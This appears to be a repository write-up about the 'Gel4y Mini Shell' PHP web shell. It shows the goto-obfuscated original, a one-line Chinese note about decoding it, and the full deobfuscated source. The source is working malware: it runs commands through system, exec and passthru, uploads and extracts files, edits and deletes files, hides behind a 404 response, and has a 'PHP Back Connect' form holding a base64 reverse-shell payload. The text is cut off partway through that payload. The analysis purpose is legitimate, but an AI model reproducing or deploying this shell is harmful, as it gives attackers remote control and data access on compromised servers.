goto yLxrotraE3;
}
goto s2A6_q8Isn;
Kv3eqCCcFx:
$Dfdl9lkULa = $_FILES['f']['tmp_name'];
goto Pgo80visnY;
DSgJ4EEwOL:
?>
<h5>New folder</h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label>
<input name="n" id="n" class="form-control" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
goto Pb_Plr8szn;
NcDR2cFSK_:
?>"><i class="fa fa-usb"></i></a> |
<a href="<?php
goto qWSOAipFym;
J6766bT1wk:
$IqAFWYu448 = $EEfZ6TZDdb . '/' . RxEFBn6HeY($_GET["n"]);
goto fpFzgy_AKw;
rPHci82Pdj:
N64OxnT9Bh:
goto vhjTMlZILs;
EyVdz_YRmU:
?></span>
<div class="form-group">
<label for="ctn">Content :</label><textarea id="ctn" cols="30" rows="10" class="form-control" readonly><?php
goto LLrd3aAnEA;
z_nhs7Cbn7:
?>
<h5>Edit file</h5>
<span>File name : <?php
goto u_4IaYeVy2;
BhKgAwcXlI:
echo rand(1, 6) * 1922;
goto uuEMYRcWJf;
LLrd3aAnEA:
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET["n"])));
goto WQ5FRO1vHE;
pyjFZoGGnB:
jJAOZDhhff:
goto FFNAjFboph;
h3GEWWTVgD:
if (!isset($_GET["download"])) {
goto ewlVh3jO7D;
}
goto URqiW6LJpm;
wlhV36GSCm:
$j6fm9JkXX3->close();
goto YtyLK4CiZm;
Kf_pWcks49:
$TQjF6JN0Xn = $_FILES['f']['name'];
goto EY59hEhqcL;
PigAhONo2f:
?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
goto LVUXJeDOyh;
AUao0i22oH:
echo "?l=" . RXefBN6HEY($EEfZ6TZDdb, 0) . "&a=" . RXEfBn6hey("cfile", 0);
goto EY2Ff1XUeK;
Ms3mPsNEFz:
y8tasQLJHv:
goto b2f2v54QKI;
Vdz113nHJZ:
goto ZBWF6RSxh7;
goto JxeppvOhkj;
DnMdqAJ3M9:
ewlVh3jO7D:
goto pMoCy2S2fT;
C3NQH6jga4:
echo FmHaNw7Sd4;
goto IWDRDymnkm;
TTVVoj2zH2:
$TkCbW35AQi = $_POST['ip'];
goto Fhxj0LxAwC;
DsIF5JU9Pz:
if (!in_array($Dbi_h94n09[$IKiphkRa67], $jzgT5WmvBi)) {
goto eCbgD8Xa7G;
}
goto DMDVAvNxme;
uTadf7sHfn:
ZBWF6RSxh7:
goto D8pLysu5hH;
jzLW7LC1KZ:
if (!isset($_GET["a"])) {
goto vpkSwTQo6s;
}
goto dKtG97l82G;
D8pLysu5hH:
?>
</div>
<?php
goto cVnxCLLc0W;
DYX5ofDNkJ:
HmX9zWMF6z:
goto jt5neMFYv3;
P3l6Ot_Nq2:
?>
<h5>New file</h5>
<form method="post">
<div class="form-group">
<label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt">
</div>
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
goto tRwrGXooF4;
aEJlf18Qtu:
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="theme-color" content="red">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title></title>
<style>
body {
color: #fff;
font-family: serif;
background-color: #000;
}
a, a:hover, pre {
color: #fff;
}
.table-hover tbody tr:hover td {
background: red
}

.table-hover tbody tr:hover td>* {
color: #fff
}

.table>tbody>tr>* {
color: #fff;
vertical-align: middle
}
.form-control {
background: 0 0!important;
color: #fff!important;
border-radius: 0
}

.form-control::placeholder {
color: #fff;
opacity: 1
}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body>
<main class="my-1">
<div class="border bg-dark px-1">
<div class="d-flex justify-content-between">
<div>
<h3 class="mt-2"><a href="?"><?php
goto C3NQH6jga4;
LcspiVxgnz:
function hrXkAttUKJ($rn5LpfN5ed) {
goto Llxlo5JLmV;
VI4smubLWC:
switch ($q_apefxuXb & 0xf000) {
case 0xc000:
$pEiaUOtN6B = 's';
goto KaLTMLFLZ8;
case 0xa000:
$pEiaUOtN6B = 'l';
goto KaLTMLFLZ8;
case 0x8000:
$pEiaUOtN6B = '-';
goto KaLTMLFLZ8;
case 0x6000:
$pEiaUOtN6B = 'b';
goto KaLTMLFLZ8;
case 0x4000:
$pEiaUOtN6B = 'd';
goto KaLTMLFLZ8;
case 0x2000:
$pEiaUOtN6B = 'c';
goto KaLTMLFLZ8;
case 0x1000:
$pEiaUOtN6B = 'p';
goto KaLTMLFLZ8;
default:
$pEiaUOtN6B = 'u';
}
goto viwKXWVlCm;
BuDpmu4Dpa:
$pEiaUOtN6B .= $q_apefxuXb & 0x2 ? 'w' : '-';
goto oSsnbfMX7N;
RHtymoOkRA:
$pEiaUOtN6B .= $q_apefxuXb & 0x80 ? 'w' : '-';
goto qaVIp_1poQ;
Llxlo5JLmV:
$q_apefxuXb = fileperms($rn5LpfN5ed);
goto VI4smubLWC;
iehULJc3F2:
$pEiaUOtN6B .= $q_apefxuXb & 0x100 ? 'r' : '-';
goto RHtymoOkRA;
viwKXWVlCm:
U0bpzZFP8o:
goto HLfsKw9eD9;
oSsnbfMX7N:
$pEiaUOtN6B .= $q_apefxuXb & 0x1 ? $q_apefxuXb & 0x200 ? 't' : 'x' : ($q_apefxuXb & 0x200 ? 'T' : '-');
goto Izs_QCpKLv;
PSoRY6eJEK:
$pEiaUOtN6B .= $q_apefxuXb & 0x10 ? 'w' : '-';
goto BYUFnpD5Kl;
WU_ISBG1Cd:
$pEiaUOtN6B .= $q_apefxuXb & 0x4 ? 'r' : '-';
goto BuDpmu4Dpa;
HLfsKw9eD9:
KaLTMLFLZ8:
goto iehULJc3F2;
Izs_QCpKLv:
return $pEiaUOtN6B;
goto Wym9usKGF4;
qaVIp_1poQ:
$pEiaUOtN6B .= $q_apefxuXb & 0x40 ? $q_apefxuXb & 0x800 ? 's' : 'x' : ($q_apefxuXb & 0x800 ? 'S' : '-');
goto gCMWKc7Qi2;
gCMWKc7Qi2:
$pEiaUOtN6B .= $q_apefxuXb & 0x20 ? 'r' : '-';
goto PSoRY6eJEK;
BYUFnpD5Kl:
$pEiaUOtN6B .= $q_apefxuXb & 0x8 ? $q_apefxuXb & 0x400 ? 's' : 'x' : ($q_apefxuXb & 0x400 ? 'S' : '-');
goto WU_ISBG1Cd;
Wym9usKGF4:
}
goto fhYGKduull;
TnhMIgmoXz:
if (!isset($_GET["a"])) {
goto oC49Ak4Qpk;
}
goto jzLW7LC1KZ;
d6E_B1kiXH:
if ($hzOvuJeFzz == 'edit') {
goto NetExxORKl;
}
goto JaRFY01HAP;
AxYV08ef23:
chdir($EEfZ6TZDdb);
goto e1DVBPK5MZ;
iiqLupTD75:
?>"><i class="fa fa-plus"></i><i class="fa fa-folder"></i></a> |
<a href="<?php
goto AUao0i22oH;
gQ0uxJM3IM:
?>
<?php
goto uED_zyRYat;
feaBlZ7eEU:
kMsRr8KO2i:
goto GBMZg5FNn5;
uED_zyRYat:
if ($hzOvuJeFzz == "con") {
goto mqgxd0ffd7;
}
goto n6KlS76u_Y;
hlAdt5ocAO:
goto pXxft1wW2P;
goto gtEtp66eA1;
Xzf4iJyVK1:
goto ZBWF6RSxh7;
goto f3YaO_36Gp;
cS5buQoIBP:
goto ZBWF6RSxh7;
goto nRad7u_84k;
iau78ljYgH:
if ($hzOvuJeFzz == "cdir") {
goto iqfV5KrODo;
}
goto gsi4neWUGA;
nNXfQ4ODK4:
et0KZW4bvS:
goto JkRKETx2SF;
ygIr4ZdOgL:
goto ZBWF6RSxh7;
goto WNq6fySumu;
pMoCy2S2fT:
?>
</div>
<div class="border bg-dark my-2 py-2 table-responsive">
<div class="mx-2">
<span>Path:</span>
<?php
goto A1iu02J4SH;
dKtG97l82G:
$hzOvuJeFzz = RxEFbN6HEY($_GET["a"]);
goto t5hyi0WMXW;
fV1xJLciE1:
$j6fm9JkXX3->extractTo(basename($TQjF6JN0Xn[$IKiphkRa67], '.zip'));
goto wlhV36GSCm;
A1iu02J4SH:
$WekN4aubDI = preg_split("/(\\\\|\\/)/", $EEfZ6TZDdb);
goto mfVsx6oHSn;
KvyyfhHz82:
goto jJAOZDhhff;
goto pQ3h2CEIaE;
QFdg_eyOVo:
bb5inVuGYh("file to delete the folder", rxEfBN6Hey($EEfZ6TZDdb, 0), 0);
goto hlAdt5ocAO;
kI2aFVtVVe:
?>
<h5>View <?php
goto xezzXbZ0n3;
PaYSwvYogS:
echo "?l=" . RXEFbn6hey($EEfZ6TZDdb, 0) . "&a=" . rxEfbn6HEy("cdir", 0);
goto iiqLupTD75;
b2f2v54QKI:
?>
</article>
<div class="bg-dark border text-center mt-2 py-2">
<small>Copyright &copy; 2021 - Powered By Indonesian Darknet</small>
</div>
</main>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>
eval(function(p, a, c, k, e, d) {
e = function(c) {
return(c < a?'': e(parseInt(c/a)))+((c = c%a) > 35?String.fromCharCode(c+29): c.toString(36))}; if (!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))
</script>
</body>
</html>

这 goto 的加密含量也太大了吧。。于是自己编写了相关脚本跑了一跑，折腾了两三个小时，终于把原始内容搞出来了，也就是本仓库的 Gel4y-Mini-Shell-3_decode.php，内容如下：

<?php
http_response_code(404);
define("FmHaNw7Sd4", "Gel4y Mini Shell");
if (isset($_GET['l'])) {
    $EEfZ6TZDdb = RxEfBN6HEy($_GET['l']);
    chdir($EEfZ6TZDdb);
} else {
    $EEfZ6TZDdb = getcwd();
}
function ZiOdpZ7NRe($uzNaDUYhmE)
{
    if (function_exists('system')) {
        @ob_start();
        @system($uzNaDUYhmE);
        $GpjllTmONM = @ob_get_contents();
        @ob_end_clean();
        return $GpjllTmONM;
    } else {
        if (function_exists('exec')) {
            @exec($uzNaDUYhmE, $htHTK6yRnX);
            $GpjllTmONM = '';
            foreach ($htHTK6yRnX as $DWC35O18yz) {
                $GpjllTmONM .= $DWC35O18yz;
            }
            return $GpjllTmONM;
        } else {
            if (function_exists('passthru')) {
                @ob_start();
                @passthru($uzNaDUYhmE);
                $GpjllTmONM = @ob_get_contents();
                @ob_end_clean();
                return $GpjllTmONM;
            } else {
                if (function_exists('LO04lRpWK3')) {
                    $GpjllTmONM = @lO04lrpWK3($uzNaDUYhmE);
                    return $GpjllTmONM;
                } else {
                }
            }
        }
    }
}
function hrXkAttUKJ($rn5LpfN5ed)
{
    $q_apefxuXb = fileperms($rn5LpfN5ed);
    switch ($q_apefxuXb & 0xf000) {
        case 0xc000:
            $pEiaUOtN6B = 's';
            break;
        case 0xa000:
            $pEiaUOtN6B = 'l';
            break;
        case 0x8000:
            $pEiaUOtN6B = '-';
            break;
        case 0x6000:
            $pEiaUOtN6B = 'b';
            break;
        case 0x4000:
            $pEiaUOtN6B = 'd';
            break;
        case 0x2000:
            $pEiaUOtN6B = 'c';
            break;
        case 0x1000:
            $pEiaUOtN6B = 'p';
            break;
        default:
            $pEiaUOtN6B = 'u';
    }
    $pEiaUOtN6B .= $q_apefxuXb & 0x100 ? 'r' : '-';
    $pEiaUOtN6B .= $q_apefxuXb & 0x80 ? 'w' : '-';
    $pEiaUOtN6B .= $q_apefxuXb & 0x40 ? $q_apefxuXb & 0x800 ? 's' : 'x' : ($q_apefxuXb & 0x800 ? 'S' : '-');
    $pEiaUOtN6B .= $q_apefxuXb & 0x20 ? 'r' : '-';
    $pEiaUOtN6B .= $q_apefxuXb & 0x10 ? 'w' : '-';
    $pEiaUOtN6B .= $q_apefxuXb & 0x8 ? $q_apefxuXb & 0x400 ? 's' : 'x' : ($q_apefxuXb & 0x400 ? 'S' : '-');
    $pEiaUOtN6B .= $q_apefxuXb & 0x4 ? 'r' : '-';
    $pEiaUOtN6B .= $q_apefxuXb & 0x2 ? 'w' : '-';
    $pEiaUOtN6B .= $q_apefxuXb & 0x1 ? $q_apefxuXb & 0x200 ? 't' : 'x' : ($q_apefxuXb & 0x200 ? 'T' : '-');
    return $pEiaUOtN6B;
}
function q0wfVKUjRs($Isvtvo_Khk)
{
    global $dYmVY71pVg;
    if (trim(pathinfo($Isvtvo_Khk, PATHINFO_BASENAME), '.') === '') {
        return;
    }
    if (is_dir($Isvtvo_Khk)) {
        array_map("deldir", glob($Isvtvo_Khk . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
        rmdir($Isvtvo_Khk);
    } else {
        unlink($Isvtvo_Khk);
    }
}
function rxefBN6hEy($D9W0v0K2q3, $b5rceFkfVX = true, $IKiphkRa67 = 0)
{
    $FMsfhj9eNN = '';
    $OI03NhJ2Yv = strlen($D9W0v0K2q3);
    if ($b5rceFkfVX == false) {
        while ($IKiphkRa67 < $OI03NhJ2Yv) {
            $FMsfhj9eNN .= dechex(ord($D9W0v0K2q3[$IKiphkRa67]));
            $IKiphkRa67++;
        }
    } else {
        while ($IKiphkRa67 < $OI03NhJ2Yv - 1) {
            $FMsfhj9eNN .= chr(hexdec("{$D9W0v0K2q3[$IKiphkRa67]}{$D9W0v0K2q3[$IKiphkRa67 + 1]}"));
            $IKiphkRa67 += 2;
        }
    }
    return $FMsfhj9eNN;
}
function bb5inVuGyH($TyHtfHVLGo, $IqAFWYu448, $JpGr27PQID = 1)
{
    $F3VGKH3ww0 = $JpGr27PQID == 1 ? "success" : "error";
    echo "<script>swal({title: \"{$F3VGKH3ww0}\", text: \"{$TyHtfHVLGo}\", icon: \"{$F3VGKH3ww0}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?l=" . $IqAFWYu448 . "\"}})</script>";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="theme-color" content="red">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title></title>
<style>
body {
color: #fff;
font-family: serif;
background-color: #000;
}
a, a:hover, pre {
color: #fff;
}
.table-hover tbody tr:hover td {
background: red
}

.table-hover tbody tr:hover td>* {
color: #fff
}

.table>tbody>tr>* {
color: #fff;
vertical-align: middle
}
.form-control {
background: 0 0!important;
color: #fff!important;
border-radius: 0
}

.form-control::placeholder {
color: #fff;
opacity: 1
}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body>
<main class="my-1">
<div class="border bg-dark px-1">
<div class="d-flex justify-content-between">
<div>
<h3 class="mt-2"><a href="?"><?php 
echo FmHaNw7Sd4;
?></a></h3>
</div>
<div>
<span>PHP Version: <?php 
echo phpversion();
?></span><br>
<a href="<?php 
echo "?l=" . RXEFbn6hey($EEfZ6TZDdb, 0) . "&a=" . rxEfbn6HEy("cdir", 0);
?>"><i class="fa fa-plus"></i><i class="fa fa-folder"></i></a> |
<a href="<?php 
echo "?l=" . RXefBN6HEY($EEfZ6TZDdb, 0) . "&a=" . RXEfBn6hey("cfile", 0);
?>"><i class="fa fa-plus"></i><i class="fa fa-file"></i></a> |
<a href="<?php 
echo "?l=" . rxefBN6Hey($EEfZ6TZDdb, 0) . "&a=" . RXEfBn6HEy("con", 0);
?>"><i class="fa fa-usb"></i></a> |
<a href="<?php 
echo "?l=" . rxefbn6HeY($EEfZ6TZDdb, 0) . "&a=" . rxEFbN6HEY("term", 0);
?>"><i class="fa fa-terminal"></i></a>
</div>
</div>
<div class="border-top">
<ul style="list-style:none;" class="m-0 p-0">
<li><b>Server</b>: <?php 
echo "{$_SERVER["SERVER_NAME"]} ({$_SERVER["REMOTE_ADDR"]})";
?></li>
<li><b>PHP Uname</b>: <?php 
echo php_uname();
?></li>
</ul>
</div>
<form method="post" enctype="multipart/form-data">
<div class="input-group mb-1">
<div class="custom-file">
<input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple>
<label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label>
</div>
</div>
</form>
<?php 
if (isset($_FILES['f'])) {
    $TQjF6JN0Xn = $_FILES['f']['name'];
    $IKiphkRa67 = 0;
    while ($IKiphkRa67 < count($TQjF6JN0Xn)) {
        $Dfdl9lkULa = $_FILES['f']['tmp_name'];
        $Dbi_h94n09 = $_FILES['f']['type'];
        $jzgT5WmvBi = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
        if (!move_uploaded_file($Dfdl9lkULa[$IKiphkRa67], $TQjF6JN0Xn[$IKiphkRa67])) {
            Bb5iNVugyH("file failed to upload", rXeFBN6HeY($EEfZ6TZDdb, 0), 0);
        } else {
            if (in_array($Dbi_h94n09[$IKiphkRa67], $jzgT5WmvBi)) {
                $j6fm9JkXX3 = new ZipArchive();
                $j78MPlSKil = $j6fm9JkXX3->open($TQjF6JN0Xn[$IKiphkRa67]);
                if ($j78MPlSKil == true) {
                    $j6fm9JkXX3->extractTo(basename($TQjF6JN0Xn[$IKiphkRa67], '.zip'));
                    $j6fm9JkXX3->close();
                }
            }
            Bb5inVUGYh("file uploaded successfully", RxEfbn6heY($EEfZ6TZDdb, 0));
        }
        $IKiphkRa67++;
    }
}
if (isset($_GET["download"])) {
    header("Content-Type: application/octet-stream");
    header("Content-Transfer-Encoding: Binary");
    header("Content-Length: " . strtotime(Rxefbn6hey($_GET["n"])));
    header("Content-disposition: attachment; filename=\"" . rXEfbn6hey($_GET["n"]) . "\"");
}
?>
</div>
<div class="border bg-dark my-2 py-2 table-responsive">
<div class="mx-2">
<span>Path:</span>
<?php 
$WekN4aubDI = preg_split("/(\\\\|\\/)/", $EEfZ6TZDdb);
foreach ($WekN4aubDI as $x42dyPJI_Q => $iIMh47ezZF) {
    if (!($x42dyPJI_Q == 0 && $iIMh47ezZF == "")) {
        if (!($iIMh47ezZF == "")) {
            echo "<a href=\"?l=";
            $IKiphkRa67 = 0;
            while ($IKiphkRa67 <= $x42dyPJI_Q) {
                echo rxEFbn6hey($WekN4aubDI[$IKiphkRa67], 0);
                if ($IKiphkRa67 != $x42dyPJI_Q) {
                    echo "2f";
                }
                $IKiphkRa67++;
            }
            echo "\">{$iIMh47ezZF}</a>/";
        } else {
        }
    } else {
        echo "<a href=\"?l=2f\">~</a>/";
    }
}
?>
</div>
</div>
<article class="bg-dark border table-responsive">
<?php 
if (!isset($_GET["a"])) {
    ?>
<table class="table table-hover table-borderless table-sm">
<thead class="text-light">
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php 
    $fgiEl2SFA1 = array_diff(scandir($EEfZ6TZDdb), ['.', '..']);
    foreach ($fgiEl2SFA1 as $GH5ltOv09p) {
        if (is_dir("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) {
            echo "<tr>\n          <td><a href=\"?l=" . RxefBN6hEY("{$EEfZ6TZDdb}/{$GH5ltOv09p}", 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . date("Y-m-d H:i", filemtime("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) . "\"><i class=\"fa fa-fw fa-folder" . (count(scandir("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) == 0 ? "" : "-open") . " text-warning\"></i> {$GH5ltOv09p}</a></td>\n          <td>N/A</td>\n          <td><font color=\"" . (is_writable("{$EEfZ6TZDdb}/{$GH5ltOv09p}") ? "#00ff00" : (!is_readable("{$EEfZ6TZDdb}/{$GH5ltOv09p}") ? "red" : null)) . "\">" . hRXkAtTukJ("{$EEfZ6TZDdb}/{$GH5ltOv09p}") . "</font></td>\n          <td>\n            <a href=\"?l=" . rXeFbN6HEy($EEfZ6TZDdb, 0) . "&a=" . rxeFBn6HEy("rename", 0) . "&n=" . rXEFbN6Hey($GH5ltOv09p, 0) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n            <a href=\"?l=" . RxEfBn6hEY($EEfZ6TZDdb, 0) . "&a=" . RxefbN6hey("delete", 0) . "&n=" . rxEFbn6HEy($GH5ltOv09p, 0) . "&t=f\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n          </td></tr>";
        } else {
        }
    }
    foreach ($fgiEl2SFA1 as $rn5LpfN5ed) {
        if (is_file("{$EEfZ6TZDdb}/{$rn5LpfN5ed}")) {
            $nWFrSLIRip = filesize("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") / 1024;
            $nWFrSLIRip = round($nWFrSLIRip, 3);
            $nWFrSLIRip = $nWFrSLIRip > 1024 ? round($nWFrSLIRip / 1024, 2) . "MB" : $nWFrSLIRip . "KB";
            echo "<tr>\n\t        <td><a href=\"?l=" . rxefbN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXEFbn6HEY("view", 0) . "&n=" . RxEFBN6heY($rn5LpfN5ed, 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . date("Y-m-d H:i", filemtime("{$EEfZ6TZDdb}/{$rn5LpfN5ed}")) . "\"><i class=\"fa fa-fw fa-file" . ($_SERVER["SCRIPT_FILENAME"] == "{$EEfZ6TZDdb}/{$rn5LpfN5ed}" ? " text-danger" : "") . "\"></i> {$rn5LpfN5ed}</a></td>\n\t        <td>{$nWFrSLIRip}</td>\n\t        <td><font color=\"" . (is_writable("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") ? "#00ff00" : (!is_readable("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") ? "red" : null)) . "\">" . HRXkaTtukj("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") . "</font></td>\n\t        <td>\n\t          <div class=\"d-flex justify-content-between\">\n\t            <a href=\"?l=" . RXeFbN6HEY($EEfZ6TZDdb, 0) . "&a=" . rxeFBN6hey("edit", 0) . "&n=" . RXeFBN6HEY($rn5LpfN5ed, 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\"><i class=\"fa fa-fw fa-edit\"></i></a>\n\t            <a href=\"?l=" . RXeFBn6hey($EEfZ6TZDdb, 0) . "&a=" . RXeFBn6HeY("rename", 0) . "&n=" . rXEfbN6hEY($rn5LpfN5ed, 0) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t            <a href=\"?l=" . rxeFbN6HEy($EEfZ6TZDdb, 0) . "&n=" . RXEFbN6HeY($rn5LpfN5ed, 0) . "&download" . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Download\"><i class=\"fa fa-fw fa-download\"></i></a>\n\t            <a href=\"?l=" . RxEFBn6Hey($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6heY("delete", 0) . "&n=" . rxEfbN6heY($rn5LpfN5ed, 0) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t          </div>\n\t        </td></tr>";
        } else {
        }
    }
    ?>
</tbody>
</table>
<?php 
} else {
    if (isset($_GET["a"])) {
        $hzOvuJeFzz = RxEFbN6HEY($_GET["a"]);
        ?>
<div class="px-2 py-2">
<?php 
        if ($hzOvuJeFzz == "delete") {
            $IqAFWYu448 = $EEfZ6TZDdb . '/' . RXefBN6hey($_GET["n"]);
            if ($_GET["t"] == "d") {
                Q0WFVkujRs($IqAFWYu448);
                if (!file_exists($IqAFWYu448)) {
                    BB5InVuGyh("folder deleted successfully", rxEFbN6Hey($EEfZ6TZDdb, 0));
                } else {
                    Bb5INvUgYh("failed to delete the folder", RxefbN6HEY($EEfZ6TZDdb, 0), 0);
                }
            }
            if ($_GET["t"] == "f") {
                $IqAFWYu448 = $EEfZ6TZDdb . '/' . RxEFBn6HeY($_GET["n"]);
                unlink($IqAFWYu448);
                if (!file_exists($IqAFWYu448)) {
                    Bb5inVuGyH("file deleted successfully", RXEfbn6heY($EEfZ6TZDdb, 0));
                    if ($hzOvuJeFzz == "con") {
                        ?>
<h5>PHP Back Connect</h5>
<form method="post">
<div class="input-group mb-3">
<input type="text" name="ip" placeholder="<?php 
                        echo $_SERVER["REMOTE_ADDR"];
                        ?>" class="form-control">
<input type="number" name="port" placeholder="<?php 
                        echo rand(1, 6) * 1922;
                        ?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</form>
<?php 
                        if (isset($_POST['s'])) {
                            echo '<div class="my-3">';
                            $TkCbW35AQi = $_POST['ip'];
                            $g9_4Zq7xGB = $_POST['port'];
                            $rRwNpSflmI = base64_decode("Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3R